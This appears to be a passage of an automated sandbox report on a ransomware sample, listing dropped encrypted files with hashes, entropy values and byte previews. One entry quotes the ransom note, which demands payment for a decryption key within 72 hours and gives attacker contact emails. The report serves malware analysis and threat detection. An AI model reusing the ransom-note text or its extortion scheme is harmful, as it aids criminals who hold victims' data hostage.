                                                                                                                                                                Preview:.<S.........J.J}...K..(f._.z....`...P...W...).S..........j.c....uC..^....L.Lw.....i.}..g..g.....o.../...)..c..h"..%........u..'.......Y....{.5.:~i.......O*.#z.D.L.._.sHQ..QA.......j,.o.Y......u.~.V.G.=Q..lDd.[.x.....;...;M...y.r_.1#=X.uO..A...w......m..e...S..<........e%..S..%.pu.@.ZC.=....C. ..<.f.....P..a>..}.I.6.Bu~...?...l...L....|+...0...8Y.}.g..._..t_.G...!.{.36...aFo.....P,....g.8......D.{@.)).&".B...{..#..(.'j...........'.c.!.b}.9`.xI.@.x....hB..@..6g.N5y.j....2.....sKp.,.~....;.....>.^#+.....3.e.@....}..i...<.P....h._...b...;....z.IKa.....}...T.....U.Rm.9...b....R..gz.(x..P.. k.'.....v<...*I.j..f.V.....4...,.!..n,...(...;O.H ....<..N.P.~....fqxt..B...Z..!.5.'....n.9k.$&........#..!.lR.l..^../.....-....f..w!....<....i.y...|.....@..>...9..H........6..=T.G8..+{......r.[....M.!......J,...g..e..a....l..,EOqT`m.D..Y),..ZD.#..T.{v....zT.@..^.......].E2e...Y.A...b..4...xabled":true}}}.(...u...p..C.??+.h./.?..d...)..+T.$...mr..)M...d..:>..y
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1138
                                                                                                                                                                Entropy (8bit):7.849989665823256
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:946fyFnCd7YSnr3TWOWOV8hUuHL2DOvqVo6z7thjSojEnW4nNqnKJ1U8lSp1Jhrv:O669FSHWWV8hUuqDqPmTjSoyWi3lSp1X
                                                                                                                                                                MD5:5823F7FADCDAC60A9BA35D78B5108738
                                                                                                                                                                SHA1:C518829E7FB54CE8FB394F4E4281100F533B9051
                                                                                                                                                                SHA-256:BB7A048D62932F740F768454504CD645CD0D357CBB3F9E136F7F27AD8F879EF0
                                                                                                                                                                SHA-512:6B1F82F703A469F8DFE476045F959C4553F7E185760E924BE3A3AB04A701F854D82046174D2782EE9BD595B7A85D859E29D8F2BF1A52912A433010F2EE05D6A9
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:@oK.[.c..Ef%.M.......E_..`.p\.Z4.Nv.<.9..o..W.......}..I..o8.F>..L..hE..c.R.|z..F....UF3..k-. AHW.+I.|.9]..^.N..`..=...G,X_.c.D.nu. .......0j,..c.<j\...7.n.g..4...s.Z]../&.G.....9.o.....1.V..NV....?..1..fi..<6..6...W...e{9.wx./..Y.....!Ym..,...pP.....B.2gR....N...A....{..;.o?......(..O!D..|.5`().K}.q$k;.....R...Z.~p..V....q......c..........`...c.C.@=k5..d....v......e..2.2.&0.*.pV.".vC.{l......ac..`.o`9..Sk.u.k.........{U.._.:.:..@?. k.O...B.|..D....}r..1.....$.sU..w.]._.....w<r......~.....^.T...E]).mI..I...h*....d....,Z=....w.d..d.[O-...*..[.....s(E..Y.w.*....4.>V=..G.;o.-.rC...6...S..k.8...5.97.l..x{.....%LW...g....ht...<a.C.......}W.....S....w ....du8.~.{4$...#_C.KB...P..1....<2.-.Cc...ga.Ry.|.....ee........6....G.+....d......hkNN...........\....e..M....v.E'..uGR..t.c.-..cY).(.......`.\.&.U~w%D^b...p..2528"}}}.Or..o.b..a.PO...v..'..B6.x.o.....%...m..)...(A..S_C....x#......y?.....jcNK4..<....9l..8........w..|..8\wv..m.-z ...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1138
                                                                                                                                                                Entropy (8bit):7.849989665823256
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:946fyFnCd7YSnr3TWOWOV8hUuHL2DOvqVo6z7thjSojEnW4nNqnKJ1U8lSp1Jhrv:O669FSHWWV8hUuqDqPmTjSoyWi3lSp1X
                                                                                                                                                                MD5:5823F7FADCDAC60A9BA35D78B5108738
                                                                                                                                                                SHA1:C518829E7FB54CE8FB394F4E4281100F533B9051
                                                                                                                                                                SHA-256:BB7A048D62932F740F768454504CD645CD0D357CBB3F9E136F7F27AD8F879EF0
                                                                                                                                                                SHA-512:6B1F82F703A469F8DFE476045F959C4553F7E185760E924BE3A3AB04A701F854D82046174D2782EE9BD595B7A85D859E29D8F2BF1A52912A433010F2EE05D6A9
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:@oK.[.c..Ef%.M.......E_..`.p\.Z4.Nv.<.9..o..W.......}..I..o8.F>..L..hE..c.R.|z..F....UF3..k-. AHW.+I.|.9]..^.N..`..=...G,X_.c.D.nu. .......0j,..c.<j\...7.n.g..4...s.Z]../&.G.....9.o.....1.V..NV....?..1..fi..<6..6...W...e{9.wx./..Y.....!Ym..,...pP.....B.2gR....N...A....{..;.o?......(..O!D..|.5`().K}.q$k;.....R...Z.~p..V....q......c..........`...c.C.@=k5..d....v......e..2.2.&0.*.pV.".vC.{l......ac..`.o`9..Sk.u.k.........{U.._.:.:..@?. k.O...B.|..D....}r..1.....$.sU..w.]._.....w<r......~.....^.T...E]).mI..I...h*....d....,Z=....w.d..d.[O-...*..[.....s(E..Y.w.*....4.>V=..G.;o.-.rC...6...S..k.8...5.97.l..x{.....%LW...g....ht...<a.C.......}W.....S....w ....du8.~.{4$...#_C.KB...P..1....<2.-.Cc...ga.Ry.|.....ee........6....G.+....d......hkNN...........\....e..M....v.E'..uGR..t.c.-..cY).(.......`.\.&.U~w%D^b...p..2528"}}}.Or..o.b..a.PO...v..'..B6.x.o.....%...m..)...(A..S_C....x#......y?.....jcNK4..<....9l..8........w..|..8\wv..m.-z ...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):2099
                                                                                                                                                                Entropy (8bit):7.9064181649856415
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:He5PbOAQiG5RiB8bIgKzf2TX183hrQjvlJHrepw+GyIg4Rg:HeF76b5bIDj2j18xryTapG6cg
                                                                                                                                                                MD5:77BA8C591CBC5C23DA45DEB674BA1F6D
                                                                                                                                                                SHA1:B4C51FD9DD4542F1CF82512E1A17E2CF0388E9F8
                                                                                                                                                                SHA-256:1593963ADDEB875B1E07021AD26436A05888366E01576B1279256F606562180C
                                                                                                                                                                SHA-512:725668F56ABC0C1F24834C7715496AAFBFED7C1C6DCE91ECC35EB0486CCB1D09F483A09B972C46C930368A945CE8CA9CA0FD85EC59D0C74A49A986418D9C543A
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.............dm.V5...".\]...,z.(..5..E9.n."_}:...R...aA^.cW..P..n.6M..P.d.Z1........B...!.R....N.z.....T."JOpH...%Ga....lS.S .....y..Y..H....EO.U].cG...X.u+E.n..N..)........u....!.I:03.@.....19.....u..z...7S....{..q...I...R...;A...j..M'......h]..........MR/....}.XA........G`....A.."c2.V..WTd.an.=...S..A.XS..uR..|.`y...;}..M.@.......w3......%e.K........9'....OV.z..[^...+..-..d.3.n....y..Fn.^.J.....g.4jo.+......8....B38k}..e.&........R......te..n.I2..=.Dl*...V..K.....s..L~....Z........)....u.pd...t<j:4..Z.7.p....W.A..{r.T~.....(^S."..@...B....o".MNHZ?..]..#r.{?r.....d.......u.....Z. Q..X..o3M.A..R......-..+.9..... .....c....._...#q....C/...).....\C..ZGW.[.4.....X...taK%..g..m S}1....a.v.o=..W..k.7........-i%guj.z..e.r.G....^.......-6.L.+..,...:..@.'....'.sn......lsp.n}.....KD].x....=Q....'"...?,..=21.#g.Z.y<.../kq.g.....z>*}.sdN......?.......M_.....f...X.%.b.s~...k....s....8.....K..l..55.%]....Pk-q.c.s{E.....NJ............a....f.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):2099
                                                                                                                                                                Entropy (8bit):7.9064181649856415
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:He5PbOAQiG5RiB8bIgKzf2TX183hrQjvlJHrepw+GyIg4Rg:HeF76b5bIDj2j18xryTapG6cg
                                                                                                                                                                MD5:77BA8C591CBC5C23DA45DEB674BA1F6D
                                                                                                                                                                SHA1:B4C51FD9DD4542F1CF82512E1A17E2CF0388E9F8
                                                                                                                                                                SHA-256:1593963ADDEB875B1E07021AD26436A05888366E01576B1279256F606562180C
                                                                                                                                                                SHA-512:725668F56ABC0C1F24834C7715496AAFBFED7C1C6DCE91ECC35EB0486CCB1D09F483A09B972C46C930368A945CE8CA9CA0FD85EC59D0C74A49A986418D9C543A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.............dm.V5...".\]...,z.(..5..E9.n."_}:...R...aA^.cW..P..n.6M..P.d.Z1........B...!.R....N.z.....T."JOpH...%Ga....lS.S .....y..Y..H....EO.U].cG...X.u+E.n..N..)........u....!.I:03.@.....19.....u..z...7S....{..q...I...R...;A...j..M'......h]..........MR/....}.XA........G`....A.."c2.V..WTd.an.=...S..A.XS..uR..|.`y...;}..M.@.......w3......%e.K........9'....OV.z..[^...+..-..d.3.n....y..Fn.^.J.....g.4jo.+......8....B38k}..e.&........R......te..n.I2..=.Dl*...V..K.....s..L~....Z........)....u.pd...t<j:4..Z.7.p....W.A..{r.T~.....(^S."..@...B....o".MNHZ?..]..#r.{?r.....d.......u.....Z. Q..X..o3M.A..R......-..+.9..... .....c....._...#q....C/...).....\C..ZGW.[.4.....X...taK%..g..m S}1....a.v.o=..W..k.7........-i%guj.z..e.r.G....^.......-6.L.+..,...:..@.'....'.sn......lsp.n}.....KD].x....=Q....'"...?,..=21.#g.Z.y<.../kq.g.....z>*}.sdN......?.......M_.....f...X.%.b.s~...k....s....8.....K..l..55.%]....Pk-q.c.s{E.....NJ............a....f.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1733
                                                                                                                                                                Entropy (8bit):7.887386044597068
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:fkLW5M8AjLZHPfS0qT8K8PAEOVtPtDg/Fqt:cLW5xAjVHPfS0qLbEeDVt
                                                                                                                                                                MD5:48C24A975FEA9340790E26FE011B4AAD
                                                                                                                                                                SHA1:9103C3F5D41D9424AE3FAFD4A29458F7F01AAE82
                                                                                                                                                                SHA-256:A26CD602E021697581C0C5582161E2A4A0B9906F9E022F5C511D4679CDCE2AEB
                                                                                                                                                                SHA-512:8D7BE4EBCBE73627D1A7AF41794DE50FDAE6142184769B60A47A1A281A06E8292290CBFBF59C39521188267DDE6FA27EC984F19E4C2CF5C239D642345BD6911D
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.sc..GI+..'....I.K.r..?cSY-O.....!i.....!.\....N..J#.I..~I..8$.\..R.P._(....@:...Mm..a..x.. ......o..d.-..6...P....5.:.SaO.e..YR.eEk...Z..}3he...+P..B<..\>Gp]...M..'......3TP.O.Q>.7.@u...u..L...8.Aj.....9c.,ZCp..\_..`.......5..{).I.v,.uqh...T.&..0......`.f.s<1...........T.*.gz~.P..a)....g"E.O...fr.&.v.o.l...........#.;.G.....s_.B..JR3....4..ux;...{....H..%.........._1R.j.Z.@.........O...q...Mv.=..M..}..-[.=~G..:..W..P..Dz...a.,.{...ON....0...$g..........h...=.e.....S..d.....4.........|. ......x9.._..n..t-..MGbn#....IiK...bg.\Sr..To.8.bf.u|.7."...?....*...x.$[=......V...n..:........t.L.....V....]'...jgk.................9......j.g.P|.u3Kll.b&e.f.f..:F....'.!bu..G.EV...... t..L.H..+.m"..4....pl...1<.(.....WP. <.....F.8.....G.Fj....Db?...qh)^<.N..s......TI...e.IlO)....(.$...MD.oL=..r.?.7Z.qu...?.o.....j.5.hh......h.....<j.h0_._.\.....j.....1>....+>.........%...!y7..9.......Z...z.....3 ,..p_*.=....?...^4..*].'.......3...A..../Vx__.M.p..0.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1733
                                                                                                                                                                Entropy (8bit):7.887386044597068
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:fkLW5M8AjLZHPfS0qT8K8PAEOVtPtDg/Fqt:cLW5xAjVHPfS0qLbEeDVt
                                                                                                                                                                MD5:48C24A975FEA9340790E26FE011B4AAD
                                                                                                                                                                SHA1:9103C3F5D41D9424AE3FAFD4A29458F7F01AAE82
                                                                                                                                                                SHA-256:A26CD602E021697581C0C5582161E2A4A0B9906F9E022F5C511D4679CDCE2AEB
                                                                                                                                                                SHA-512:8D7BE4EBCBE73627D1A7AF41794DE50FDAE6142184769B60A47A1A281A06E8292290CBFBF59C39521188267DDE6FA27EC984F19E4C2CF5C239D642345BD6911D
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.sc..GI+..'....I.K.r..?cSY-O.....!i.....!.\....N..J#.I..~I..8$.\..R.P._(....@:...Mm..a..x.. ......o..d.-..6...P....5.:.SaO.e..YR.eEk...Z..}3he...+P..B<..\>Gp]...M..'......3TP.O.Q>.7.@u...u..L...8.Aj.....9c.,ZCp..\_..`.......5..{).I.v,.uqh...T.&..0......`.f.s<1...........T.*.gz~.P..a)....g"E.O...fr.&.v.o.l...........#.;.G.....s_.B..JR3....4..ux;...{....H..%.........._1R.j.Z.@.........O...q...Mv.=..M..}..-[.=~G..:..W..P..Dz...a.,.{...ON....0...$g..........h...=.e.....S..d.....4.........|. ......x9.._..n..t-..MGbn#....IiK...bg.\Sr..To.8.bf.u|.7."...?....*...x.$[=......V...n..:........t.L.....V....]'...jgk.................9......j.g.P|.u3Kll.b&e.f.f..:F....'.!bu..G.EV...... t..L.H..+.m"..4....pl...1<.(.....WP. <.....F.8.....G.Fj....Db?...qh)^<.N..s......TI...e.IlO)....(.$...MD.oL=..r.?.7Z.qu...?.o.....j.5.hh......h.....<j.h0_._.\.....j.....1>....+>.........%...!y7..9.......Z...z.....3 ,..p_*.=....?...^4..*].'.......3...A..../Vx__.M.p..0.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1140
                                                                                                                                                                Entropy (8bit):7.820596162671268
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:4gcanQD2emQ1XSIx14kI8FHFYMLaXdJDHIWoxVPJgewnM63WK:4gcanO2Xxa13YKKJDoWoDHwDv
                                                                                                                                                                MD5:4EC9D31DB4C85DE6AB58F664C9058437
                                                                                                                                                                SHA1:1B9D923355FC8FF3930744C61A1D39F9FF8BC762
                                                                                                                                                                SHA-256:50BAA34ED832E2862D842071EA6BE2BF4EC5C3E8DD78FD26B857CC6F60F257A5
                                                                                                                                                                SHA-512:6492CA42072C0F2055F30274D039577299FB0B8B8F82303FE3A16F62A595C37B666CAE5148EAE8D5CB0453A46614BD991BD5A0E7DF0C70BAAD159985BC46C60A
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:...k.,...y..(...u...T.N..;......iw.T...}z...B@m....].......x......)@.....u.J....vO&s...>=.P.........)..F%.....$.....d...ED&.......c(2R.c............".......`.O#4..7_4....w....u[.=..*l.PZ.e...n...Q...3bj}.S.P..^y..c....B.%%.P.....'x........\...*n.C^V..a..Y..X...|J."....!......Fg..R....r.Tz.f..>...\...v7..[#n....V................c.3..NC+..... ..K'.9J.s1.O..T.XB.S.....[..."..-u..a....3...8...3WR....r?.....T/.?.#...Yn.,./P..`r.....<...U!=....z.?......x.b$...5.Um.V.7..Y..t.?w...L..."16...<.V.?.`.L.n.X.u.....f.uD.7.0.b....W...A.....a..>..s?..R..X..<4^V J.....[..]F.qE...!N.rm ..b&6....dL........B"......A......3...i.w...T.f)..l.._.I.z..P.TY...I...}..$...._~...d..,6.......`Z...YZ......Q..@;.w._=<bR...7..h..w.y$T.Nt...P<.....v#..v}...bZ9.m.$mI~.)..%.j.L.kZ..LU3.k.4....<.....&.;..{..}s!......^..[.Pc,..]..anel\""}}}."z..w...4....O..4.,.... .U.....y_.B.l.&G..d_.h......t4...t.o~.aK..%...EW.J?.Y.."..q.w..1f....o.B:.9p....E...z.c.N.....1]
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1140
                                                                                                                                                                Entropy (8bit):7.820596162671268
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:4gcanQD2emQ1XSIx14kI8FHFYMLaXdJDHIWoxVPJgewnM63WK:4gcanO2Xxa13YKKJDoWoDHwDv
                                                                                                                                                                MD5:4EC9D31DB4C85DE6AB58F664C9058437
                                                                                                                                                                SHA1:1B9D923355FC8FF3930744C61A1D39F9FF8BC762
                                                                                                                                                                SHA-256:50BAA34ED832E2862D842071EA6BE2BF4EC5C3E8DD78FD26B857CC6F60F257A5
                                                                                                                                                                SHA-512:6492CA42072C0F2055F30274D039577299FB0B8B8F82303FE3A16F62A595C37B666CAE5148EAE8D5CB0453A46614BD991BD5A0E7DF0C70BAAD159985BC46C60A
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...k.,...y..(...u...T.N..;......iw.T...}z...B@m....].......x......)@.....u.J....vO&s...>=.P.........)..F%.....$.....d...ED&.......c(2R.c............".......`.O#4..7_4....w....u[.=..*l.PZ.e...n...Q...3bj}.S.P..^y..c....B.%%.P.....'x........\...*n.C^V..a..Y..X...|J."....!......Fg..R....r.Tz.f..>...\...v7..[#n....V................c.3..NC+..... ..K'.9J.s1.O..T.XB.S.....[..."..-u..a....3...8...3WR....r?.....T/.?.#...Yn.,./P..`r.....<...U!=....z.?......x.b$...5.Um.V.7..Y..t.?w...L..."16...<.V.?.`.L.n.X.u.....f.uD.7.0.b....W...A.....a..>..s?..R..X..<4^V J.....[..]F.qE...!N.rm ..b&6....dL........B"......A......3...i.w...T.f)..l.._.I.z..P.TY...I...}..$...._~...d..,6.......`Z...YZ......Q..@;.w._=<bR...7..h..w.y$T.Nt...P<.....v#..v}...bZ9.m.$mI~.)..%.j.L.kZ..LU3.k.4....<.....&.;..{..}s!......^..[.Pc,..]..anel\""}}}."z..w...4....O..4.,.... .U.....y_.B.l.&G..d_.h......t4...t.o~.aK..%...EW.J?.Y.."..q.w..1f....o.B:.9p....E...z.c.N.....1]
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1716
                                                                                                                                                                Entropy (8bit):7.873918930672547
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:lvwVEYtAoTQ9R4uEc7tbg2o2uz/3CvL0OeSIyXJBN6IUt6s:lMtAouqctbo2uzqvL0OePyXJb6IZs
                                                                                                                                                                MD5:E2787FBA8DB7E9374BBEEDADCEF3C481
                                                                                                                                                                SHA1:C95BE5303529F33E08D7F82DB167903338A125AC
                                                                                                                                                                SHA-256:B35197FE8D79512EFC167A67080FA369F110E10F6C76EC4A59210D990677DD6C
                                                                                                                                                                SHA-512:80F59BDB54661020F5D7B2C103818AC42C9EFA8698901D724A2D7048DC9472C8BAB3D25BACD24BD090AB02DF785B4C092E6FFFE73E80F4E1DE161036BBD641CC
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.a.}.....N6G.s..E.CL...5j...9..'X..q.`5..F.-.3X.?..cj...$-;.v...c.,o..D.-....R [.m...cV....6.....b{..P3g8...*......y#.....\&N.....zg..G).{..DKrPs.%..[.zw.....8....o.;.z3.1..2V.y\....f.x1...1y.aGxb.V..-,|..M.....{...|/..z/..y8he....Z..=WA4..1..L....^..d....n.a.L....vt....n.~.+*..wo}.;......E..U.S....3..?......fh...r..=..2}.k...d.:M*Z?..99=....0..Gn4.G....Bd$}...G^G.....3...4E....g....$.f.\^.4...5.~.y.C. ..Ud...q:....FzL..5N..tN?p..EQG.....S%....3.......~..AI".r..)m...u.....-.G....bS......\....?..|........*.D.s5..[\#.)..X.9=8.3.yX.&.Z? c/..S.!W.7..../.....L....U.....8...k+..zo..j.D.f..,.....M{.?HR.q......m......+..~....."?.9Lv.P.(r5....@.K........5.&.wXWN].8...v....,\.|.U;...P....8v.q.^.p.D~./.N..........z,/-d...[...i..uO.M..,.4.......yAf.$5.?I.%..2..[...;p....b.I.dN.N'wQn.;.*.d.....P.v....?.......-8/...fbe.r.}.R...}..z........8Kn...e.o...UB...u..'b.~o...O..........^.Y..h'.5.==....M....V.x..{.q....9.4A.;..l.....Jm..Q..L*...E.. }...`. ..M.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1716
                                                                                                                                                                Entropy (8bit):7.873918930672547
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:lvwVEYtAoTQ9R4uEc7tbg2o2uz/3CvL0OeSIyXJBN6IUt6s:lMtAouqctbo2uzqvL0OePyXJb6IZs
                                                                                                                                                                MD5:E2787FBA8DB7E9374BBEEDADCEF3C481
                                                                                                                                                                SHA1:C95BE5303529F33E08D7F82DB167903338A125AC
                                                                                                                                                                SHA-256:B35197FE8D79512EFC167A67080FA369F110E10F6C76EC4A59210D990677DD6C
                                                                                                                                                                SHA-512:80F59BDB54661020F5D7B2C103818AC42C9EFA8698901D724A2D7048DC9472C8BAB3D25BACD24BD090AB02DF785B4C092E6FFFE73E80F4E1DE161036BBD641CC
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.a.}.....N6G.s..E.CL...5j...9..'X..q.`5..F.-.3X.?..cj...$-;.v...c.,o..D.-....R [.m...cV....6.....b{..P3g8...*......y#.....\&N.....zg..G).{..DKrPs.%..[.zw.....8....o.;.z3.1..2V.y\....f.x1...1y.aGxb.V..-,|..M.....{...|/..z/..y8he....Z..=WA4..1..L....^..d....n.a.L....vt....n.~.+*..wo}.;......E..U.S....3..?......fh...r..=..2}.k...d.:M*Z?..99=....0..Gn4.G....Bd$}...G^G.....3...4E....g....$.f.\^.4...5.~.y.C. ..Ud...q:....FzL..5N..tN?p..EQG.....S%....3.......~..AI".r..)m...u.....-.G....bS......\....?..|........*.D.s5..[\#.)..X.9=8.3.yX.&.Z? c/..S.!W.7..../.....L....U.....8...k+..zo..j.D.f..,.....M{.?HR.q......m......+..~....."?.9Lv.P.(r5....@.K........5.&.wXWN].8...v....,\.|.U;...P....8v.q.^.p.D~./.N..........z,/-d...[...i..uO.M..,.4.......yAf.$5.?I.%..2..[...;p....b.I.dN.N'wQn.;.*.d.....P.v....?.......-8/...fbe.r.}.R...}..z........8Kn...e.o...UB...u..'b.~o...O..........^.Y..h'.5.==....M....V.x..{.q....9.4A.;..l.....Jm..Q..L*...E.. }...`. ..M.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1734
                                                                                                                                                                Entropy (8bit):7.879781892654085
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:k+6cYab8ouNeru2pRhjsoOBqhqtf95ABeNW:k+Tlru2VIoOwhI9WBaW
                                                                                                                                                                MD5:1FE1837CBA331F0A01C00ECE7673DC85
                                                                                                                                                                SHA1:6F81B092CC63094839458630B963EA80FAFEE4F7
                                                                                                                                                                SHA-256:B7F0418400BC2474D343835CECE9FD6D1AC5E9531CE5AF44F79CB048BA0ED18E
                                                                                                                                                                SHA-512:7F08B3B6363CFE19B66A936BC7D3EAFDCF338D85B4DB29C1448B25DCE47E5FCD9CD504E4D86E979A9081CF8130B5601D6B03F8027A7D634E2B8A28ABA6CD2FEE
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:N q....J. d1iz...Q..D..-..4..../.>.Aq..}.=.._R.....8J~...VGy..N...caH..*..&J..r.....r2,.1.[-..v/p.PK<..x.W...N.6.C....#&hoC..$.!.Sj.y`..$.%_.>...n...gD.V.u..J.O.GH.I..4..&_w#..T..f:[.#I...."..Csv.[V;..-._P.G...`=8..e...Di..~Ht7p...w....0.....r...H...:HE......=............G..N../Z.&}...,m...Y..X. ..@*W....g..I...c..pE..O.....w....t.e..I.'j7`yu!G......Z......j..u.5..3...."...._C......I..F..p...VoP.c.k..$z...U..s..$.O.3.....M...nA/.<..e%..z.b.f..yG.|.*.F[.....5..$..0?..k......H.(6...9H....xN.3.. ...:.."L...9+...h7..]....`?|.....j.........d..N.....nX.g.t..Cr..@E...:-c\=2...'........y:@..<Q.......3'..r....Q2%.`..........)4S..$.-f.c..q0O....UN..+..L.x...+...E.A....=.`...X.m\R.....;.(.....Nx+..pG....r(.^.w..W.5.v/W.-....g.f...-..v....6.C............!y....V.mg.4.0.G.!.y.gS...$0....L...R...5)..g+.~....d......^.yhW?...6....)h... B@....a.,........=8..8v.%...]....29.1...ky...`.h.......zt..=...h..A.6..< .'.....5g.Y.Q...F.N...D....tF..+.....Z..e..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1734
                                                                                                                                                                Entropy (8bit):7.879781892654085
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:k+6cYab8ouNeru2pRhjsoOBqhqtf95ABeNW:k+Tlru2VIoOwhI9WBaW
                                                                                                                                                                MD5:1FE1837CBA331F0A01C00ECE7673DC85
                                                                                                                                                                SHA1:6F81B092CC63094839458630B963EA80FAFEE4F7
                                                                                                                                                                SHA-256:B7F0418400BC2474D343835CECE9FD6D1AC5E9531CE5AF44F79CB048BA0ED18E
                                                                                                                                                                SHA-512:7F08B3B6363CFE19B66A936BC7D3EAFDCF338D85B4DB29C1448B25DCE47E5FCD9CD504E4D86E979A9081CF8130B5601D6B03F8027A7D634E2B8A28ABA6CD2FEE
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:N q....J. d1iz...Q..D..-..4..../.>.Aq..}.=.._R.....8J~...VGy..N...caH..*..&J..r.....r2,.1.[-..v/p.PK<..x.W...N.6.C....#&hoC..$.!.Sj.y`..$.%_.>...n...gD.V.u..J.O.GH.I..4..&_w#..T..f:[.#I...."..Csv.[V;..-._P.G...`=8..e...Di..~Ht7p...w....0.....r...H...:HE......=............G..N../Z.&}...,m...Y..X. ..@*W....g..I...c..pE..O.....w....t.e..I.'j7`yu!G......Z......j..u.5..3...."...._C......I..F..p...VoP.c.k..$z...U..s..$.O.3.....M...nA/.<..e%..z.b.f..yG.|.*.F[.....5..$..0?..k......H.(6...9H....xN.3.. ...:.."L...9+...h7..]....`?|.....j.........d..N.....nX.g.t..Cr..@E...:-c\=2...'........y:@..<Q.......3'..r....Q2%.`..........)4S..$.-f.c..q0O....UN..+..L.x...+...E.A....=.`...X.m\R.....;.(.....Nx+..pG....r(.^.w..W.5.v/W.-....g.f...-..v....6.C............!y....V.mg.4.0.G.!.y.gS...$0....L...R...5)..g+.~....d......^.yhW?...6....)h... B@....a.,........=8..8v.%...]....29.1...ky...`.h.......zt..=...h..A.6..< .'.....5g.Y.Q...F.N...D....tF..+.....Z..e..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1734
